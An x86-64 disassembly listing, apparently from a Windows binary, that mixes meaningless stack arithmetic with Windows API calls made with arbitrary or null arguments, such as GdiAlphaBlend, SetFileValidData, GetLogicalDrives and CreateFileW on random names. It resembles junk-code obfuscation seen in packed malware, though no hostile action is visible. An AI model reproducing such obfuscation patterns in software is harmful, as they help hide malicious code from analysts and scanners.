movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b38], ax
mov eax, dword [rsp + 0x62f4]
sub eax, 0x12
mov dword [rsp + 0x62f4], eax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xb780]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x41a]
or eax, ecx
mov byte [rsp + 0x415], al
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xd038], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd038]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcd30], rax
lea rcx, [rsp + 0x1d7c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x636c], eax
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6408]
shl eax, cl
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x640c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x6410], eax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ec0], ax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [0x1401a53b4], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xd030]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea4], ax
jmp 0x140017e42
movzx eax, word [rsp + 0xf9c]
mov word [rsp + 0x1ed4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
and eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xaf28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2996
mov r9d, 0x96a
mov r8d, 0xb27df514
mov edx, 2
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x6370], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xcf98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6300]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a18], eax
mov rax, qword [rsp + 0xcfc0]
mov ecx, dword [rsp + 0x62c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
add eax, ecx
mov byte [rsp + 0x3ff], al
lea rdx, [rsp + 0x6414]
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6330], eax
movzx eax, byte [rsp + 0x417]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ecc]
sar eax, cl
mov rcx, qword [0x1401b4400]
mov word [rcx], ax
mov rcx, qword [rsp + 0xd008]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b38], ax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcff0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf28], rax
mov eax, dword [rsp + 0x63f4]
add eax, 0x6a
mov dword [rsp + 0x63f4], eax
mov rax, qword [rsp + 0xcf88]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcfc0]
mov ecx, dword [rsp + 0x63b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov rcx, qword [0x1401b4400]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d90], ax
mov edx, 0x4a967f
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x63bc], eax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x416]
add eax, ecx
mov byte [rsp + 0x41a], al
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1ed0]
and eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcf78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xa7d0]
mov rcx, qword [rsp + 0xcf10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
movsx ecx, word [0x1401a53a0]
add eax, ecx
mov word [rsp + 0x1e94], ax
mov eax, dword [rsp + 0x640c]
movzx ecx, al
mov eax, dword [rsp + 0x51b8]
sar eax, cl
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6408]
shl eax, cl
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
xor eax, ecx
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
and eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1534]
sub eax, ecx
mov word [0x1401a53b4], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e94], ax
movzx eax, byte [rsp + 0x417]
movzx ecx, byte [rsp + 0x322]
add eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
mov rcx, qword [0x1401b4400]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcfe8]
mov word [rcx], ax
mov eax, dword [rsp + 0x6360]
mov ecx, dword [rsp + 0x6408]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c8], eax
cmp dword [rsp + 0x63f4], 0xd32f
jbe 0x1400180ca
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
mov dword [rsp + 0x640c], eax
mov rax, qword [rsp + 0xcf98]
mov eax, dword [rax]
mov dword [rsp + 0x6418], eax
cmp dword [rsp + 0x6418], 0
je 0x140018464
cmp dword [rsp + 0x6418], 0x4c4a
je 0x140186ba4
jmp 0x140186c2d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.0bGQjxFxQmrX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd040], rax
movzx eax, byte [rsp + 0x414]
mov byte [rsp + 0x41b], al
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcf98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x641c], al
cmp byte [rsp + 0x641c], 0
je 0x1400184fb
cmp byte [rsp + 0x641c], 0x21
je 0x14001863a
jmp 0x1400186eb
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xcd58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xcf10]
mov qword [rsp + 0xd048], rax
cmp qword [rsp + 0xd048], 0
je 0x140018539
jmp 0x1400185cf
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x6420], al
cmp byte [rsp + 0x6420], 0
je 0x140018561
cmp byte [rsp + 0x6420], 0x81
je 0x1400185b0
jmp 0x1400185cd
mov eax, dword [rsp + 0x62c8]
mov dword [rsp + 0x6424], eax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea4], ax
jmp 0x1400185cd
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea8]
add eax, ecx
mov word [rsp + 0x1ec0], ax
jmp 0x140018635
mov eax, dword [rsp + 0x6428]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x48], 0x98
mov dword [rsp + 0x40], 0xe6
mov dword [rsp + 0x38], 0xc1
mov dword [rsp + 0x30], 0x86
mov rax, qword [rsp + 0xcee8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x3d
mov r9d, 0xba
mov r8d, 0x6e
mov edx, 0x88
mov rcx, qword [rsp + 0xcf38]
call qword [sym.imp.GDI32.dll_GdiAlphaBlend]
mov dword [rsp + 0x6354], eax
jmp 0x1400186eb
movzx eax, byte [0x1401b440a]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41a], al
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xcfc0]
mov ecx, dword [rsp + 0x63c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63a8], eax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x5a18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63f0], eax
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xcd70]
mov qword [rsp + 0xd050], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd050]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaf28], rax
mov rcx, qword [rsp + 0xd058]
call qword [sym.imp.GDI32.dll_SaveDC]
mov dword [rsp + 0x63f0], eax
lea rax, [rsp + 0xa7d0]
mov qword [rsp + 0xd060], rax
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1ea0]
or eax, ecx
mov word [0x1401a53b8], ax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov dword [rsp + 0x642c], eax
cmp dword [rsp + 0x642c], 0x25a
je 0x1400187c5
cmp dword [rsp + 0x642c], 0xbf5
je 0x140018749
jmp 0x14001890c
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x418]
sar eax, cl
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x3ff]
movzx r8d, byte [rsp + 0x413]
mov rax, qword [rsp + 0xcfe8]
movzx edx, word [rax]
mov rax, qword [rsp + 0xcfc0]
mov ecx, dword [rax]
call fcn.140187940
movzx eax, word [rsp + 0x1b38]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ecc], ax
jmp 0x14001890c
movsx eax, byte [rsp + 0x3ff]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x419], al
mov rax, qword [0x1401a53a8]
mov rcx, qword [rsp + 0xcfb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov dword [rsp + 0x48], 0x25
mov dword [rsp + 0x40], 0x23
mov rax, qword [rsp + 0xd068]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x68
mov dword [rsp + 0x28], 0x93
mov dword [rsp + 0x20], 0x6d
mov r9d, 0x6c
mov r8, qword [rsp + 0xcf28]
lea rdx, [rsp + 0x1534]
mov rcx, qword [rsp + 0xd028]
call qword [sym.imp.GDI32.dll_PlgBlt]
mov dword [rsp + 0x6274], eax
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6360]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c0], eax
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x640c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ec4], ax
movzx eax, byte [rsp + 0x417]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401a5038], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.wuaQZRD0ta4srLCvMNVD2FN4DZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd070], rax
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
mov dword [rsp + 0x6430], eax
cmp dword [rsp + 0x6430], 0
je 0x140018968
jmp 0x140018aeb
mov eax, dword [rsp + 0x63c0]
mov dword [rsp + 0x6434], eax
cmp dword [rsp + 0x6434], 0x3a9a
je 0x140018988
jmp 0x140018a60
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd060]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xd028]
call qword [sym.imp.GDI32.dll_GetLayout]
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xcfb8]
mov rcx, qword [rsp + 0xcf10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
add eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6270], eax
mov r9d, 0xb9
lea r8, [rsp + 0x416]
lea rdx, [rsp + 0x1ce20]
mov rcx, qword [rsp + 0xd078]
call qword [sym.imp.GDI32.dll_PlayMetaFileRecord]
mov dword [rsp + 0x6274], eax
mov rax, qword [rsp + 0xcfe0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xcfe0]
movzx ecx, byte [rax]
call fcn.1401878c0
jmp 0x140018ae9
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xce70]
shr rax, cl
mov qword [rsp + 0xb2f8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6438], eax
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcf98]
mov qword [rsp + 0xd080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd080]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x62d8], eax
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe6c], ax
movzx eax, byte [rsp + 0x418]
mov byte [0x1401b43f8], al
jmp 0x140018b27
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movsx eax, byte [0x1401b440b]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x419], al
movsx eax, word [rsp + 0x1ea8]
mov dword [rsp + 0x643c], eax
cmp dword [rsp + 0x643c], 0
je 0x140018b45
jmp 0x140186a67
movzx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d90], ax
mov dword [rsp + 0x6440], 0x285b
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov qword [rsp + 0xd088], rax
cmp qword [rsp + 0xd088], 0
je 0x140018b90
jmp 0x14018697f
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rcx, [rsp + 0x1d8e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x6370], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x418]
mov qword [0x1401b43f0], rax
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xd000]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcff0]
mov rdx, qword [rsp + 0xcd58]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140018d33
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cd]
add eax, ecx
mov byte [rsp + 0x419], al
mov rax, qword [0x1401b4400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ecc]
sub eax, ecx
mov word [rsp + 0xf9c], ax
mov r8d, 0xc5
mov edx, 0x77
mov rcx, qword [rsp + 0xcef0]
call qword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcf30]
mov rcx, qword [rsp + 0xcfb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [0x1401a53a0]
sar eax, cl
mov rcx, qword [rsp + 0xcf40]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xd000]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcd30], rax
mov eax, dword [rsp + 0x51b8]
movzx ecx, al
mov eax, dword [rsp + 0x630c]
shl eax, cl
mov dword [rsp + 0x5a18], eax
movss xmm0, dword [0x140198da8]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x140198da4]
movss dword [rsp + 0x20], xmm0
mov r9d, 0xc8
mov r8d, 0xf5
mov edx, 0xc5
mov rcx, qword [rsp + 0xcf00]
call qword [sym.imp.GDI32.dll_AngleArc]
mov dword [rsp + 0x6308], eax
mov ecx, dword [rsp + 0x54ac]
call fcn.1401879a0
jmp 0x140018e2d
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov dword [rsp + 0x6444], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
and eax, ecx
mov byte [rsp + 0x417], al
movsx eax, word [rsp + 0x1e94]
mov dword [rsp + 0x6448], eax
cmp dword [rsp + 0x6448], 0x46c
je 0x140018d81
jmp 0x140018e2d
movzx eax, word [0x1401a53a4]
movzx ecx, word [rsp + 0x1b38]
sub eax, ecx
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xcf08]
mov rcx, qword [rsp + 0xb780]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf68], rax
movsx eax, word [0x1401b440c]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea4], ax
movzx eax, word [rsp + 0xcdc]
movzx ecx, word [rsp + 0xe6c]
add eax, ecx
mov word [rsp + 0x1ecc], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcfc0]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x1b38]
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rax]
call fcn.1401878f0
mov eax, dword [rsp + 0x630c]
mov dword [rsp + 0x644c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
lea rax, [rsp + 0x6444]
mov qword [rsp + 0xd090], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcfe0]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x14f]
movsx edx, byte [rsp + 0x41b]
add ecx, edx
cmp eax, ecx
jne 0x1401868f3
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf08]
sar rax, cl
mov qword [rsp + 0xb780], rax
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov ecx, dword [0x1401a5390]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x644c]
mov edx, dword [rsp + 0x6374]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140018fef
mov dword [rsp + 0x40], 0x62
mov dword [rsp + 0x38], 0x3e
mov dword [rsp + 0x30], 0x14
mov rax, qword [rsp + 0xd098]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf
mov r9d, 0x96
mov r8d, 0xb4
mov edx, 0xe7
mov rcx, qword [rsp + 0xd0a0]
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x6274], eax
mov r9d, dword [rsp + 0x6300]
mov r8d, dword [rsp + 0x51dc]
mov edx, dword [0x1401a53b0]
mov ecx, dword [rsp + 0x640c]
call fcn.140187860
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf28], rax
mov eax, dword [rsp + 0x63b4]
mov ecx, dword [rsp + 0x6424]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6444], eax
mov eax, dword [rsp + 0x644c]
mov ecx, dword [rsp + 0x62cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63f0], eax
jmp 0x140019103
movzx eax, byte [rsp + 0x322]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x298], al
mov edx, 0x6bab77
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x62b8], eax
movsx eax, word [rsp + 0x1ec4]
movsx ecx, word [rsp + 0x1e94]
or eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [0x1401b4400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xcd58]
mov qword [rsp + 0xd0a8], rax
cmp qword [rsp + 0xd0a8], 0
je 0x14001907a
jmp 0x1400190e9
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401a53a8]
sar rax, cl
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ec4]
xor eax, ecx
mov word [rsp + 0x1ec0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov qword [rsp + 0xd0b8], rax
jmp 0x140019103
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x63c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62c8], eax
movsx eax, byte [rsp + 0x14f]
movsx ecx, byte [rsp + 0x2cd]
and eax, ecx
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcf98]
mov eax, dword [rax]
mov dword [rsp + 0x6450], eax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x41a]
add eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb0]
add eax, ecx
mov word [0x1401a53bc], ax
cmp dword [rsp + 0x63e8], 0x642b
ja 0x1400194be
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0x1b38]
movzx ecx, word [rsp + 0xcdc]
add eax, ecx
mov word [rsp + 0x1eac], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3b69
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x6348], eax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov rcx, qword [0x1401b4400]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xcf88]
mov ecx, dword [rsp + 0x6450]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x644c], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6270]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ec], eax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1b38]
xor eax, ecx
mov word [rsp + 0xe6c], ax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
movsx ecx, word [0x1401b440c]
or eax, ecx
mov word [rsp + 0x1ec4], ax
mov eax, dword [rsp + 0x63e8]
add eax, 9
mov dword [rsp + 0x63e8], eax
lea rdx, [rsp + 0xcd88]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x62e8], eax
movzx eax, byte [rsp + 0x41a]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401a503a], al
mov rax, qword [rsp + 0xcf08]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0xd0c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xd060]
mov rcx, qword [rsp + 0xaff8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf08], rax
movsx eax, word [rsp + 0x1e84]
movsx ecx, word [0x1401a53a0]
and eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xcfe0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3ff]
sub eax, ecx
mov byte [rsp + 0x419], al
mov rax, qword [rsp + 0xcea8]
mov ecx, dword [0x1401a5390]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51b8], eax
mov eax, dword [rsp + 0x6360]
mov ecx, dword [rsp + 0x6270]
